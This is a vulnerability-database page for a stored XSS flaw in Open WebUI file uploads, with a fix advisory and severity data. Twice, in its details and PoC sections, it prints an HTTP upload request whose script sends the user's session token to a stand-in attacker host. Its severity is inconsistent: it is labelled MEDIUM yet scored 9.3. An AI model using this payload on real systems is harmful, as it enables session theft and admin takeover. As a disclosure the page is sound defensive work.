Loading...
Skip to main content

CVE-2025-46571 — Vulnerability in open-webui — CVE Details

MEDIUM

Open WebUI allows limited stored XSS vila uploaded html file

Published July 7, 2026Updated July 13, 2026Source: osv

Summary

### Summary Low privileged users can upload HTML files which contain JavaScript code via the `/api/v1/files/` backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user's browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability. ### Details The following HTTP request can be sent to the backend server to upload a file with the contents: `<script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>` ```http POST /api/v1/files/ HTTP/1.1 Host: localhost:8080 Content-Length: 286 authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm ------WebKitFormBoundaryr0PnRBBHKXD9UEdm Content-Disposition: form-data; name="file"; filename="test.html" Content-Type: text/html <h1>padding</h1> <script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script> ------WebKitFormBoundaryr0PnRBBHKXD9UEdm-- ``` Note the `filename="test.html"` , `Content-Type: text/html`, and `<h1>padding</h`> in the request's body. These are important because some form of sanitization or filtering was observed which caused errors when uploading an html file that only conained a `<script>` tag. The backend server responds to the above request with JSON data that contains an `id` parameter. ![image](https://github.com/user-attachments/assets/ac15e108-d385-4e58-b29a-eb79aafbffda) This ID can be used to view the uploaded file in the browser at `<Backend_URL>/api/v1/files/<file_id>/content/html` Because of the authorization checks done on lines https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438, this file can only be viewed by admins and the user that uploaded it, but not by other low-privileged users, thus limiting the imact of this stored XSS vulnerability. ### PoC First, upload an html containing JavaScript code to the backend server using the following HTTP request: ```http POST /api/v1/files/ HTTP/1.1 Host: localhost:8080 Content-Length: 286 authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm ------WebKitFormBoundaryr0PnRBBHKXD9UEdm Content-Disposition: form-data; name="file"; filename="test.html" Content-Type: text/html <h1>padding</h1> <script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script> ------WebKitFormBoundaryr0PnRBBHKXD9UEdm-- ``` Then copy the `id` from the response and use it to view the file in the browser at `<Backend_URL>/api/v1/files/<file_id>/content/html` ### Impact Low privileged users can upload HTML files containing malicious JavaScript code. A link to such a file can be sent to an admin, and if clicked, will give the low-privileged user complete control over the admin's account, ultimately enabling RCE via functions, as described in https://github.com/open-webui/open-webui/security/advisories/GHSA-9f4f-jv96-8766

Advisory Timeline

  • First published July 7, 2026 (97 days ago).
  • Last revised July 13, 2026 — 6 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

pip
Update open-webui to 0.6.6 or later
pip install "open-webui>=0.6.6"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: pypi (1).

PackageEcosystemAffectedFixed In
open-webui
pypi
0.1.124, 0.1.125, 0.2.0, 0.2.1 (+93 more)0.6.6

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.3 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
P
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

Frequently Asked Questions

What is CVE-2025-46571?
Open WebUI allows limited stored XSS vila uploaded html file This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 9.3/10).
How do I check if my project is affected by CVE-2025-46571?
CVE-2025-46571 affects open-webui. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-46571 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.3

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-8gh5-qqh8-hq3x
PYSEC-2026-2713

Related CVEs

  • CVE-2026-44551
    CRITICAL

    Open WebUI has an LDAP Empty Password Authentication Bypass

  • CVE-2025-46719
    CRITICAL

    Open WebUI vulnerable to stored XSS via unescaped markdown token in MarkdownTokens.svelte leading to full account takeover and RCE via functions

  • CVE-2026-44551
    CRITICAL

    Open WebUI has an LDAP Empty Password Authentication Bypass

  • CVE-2025-46719
    HIGH

    Open WebUI vulnerable to stored XSS via unescaped markdown token in MarkdownTokens.svelte leading to full account takeover and RCE via functions

  • CVE-2026-65829
    MEDIUM

    MPXJ: Potential Path Traversal Vulnerability in Primavera P3 PRX and SureTrak STX readers

  • CVE-2026-47425
    MEDIUM

    rattler has an entry-point path traversal in noarch:python install (arbitrary file write)

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies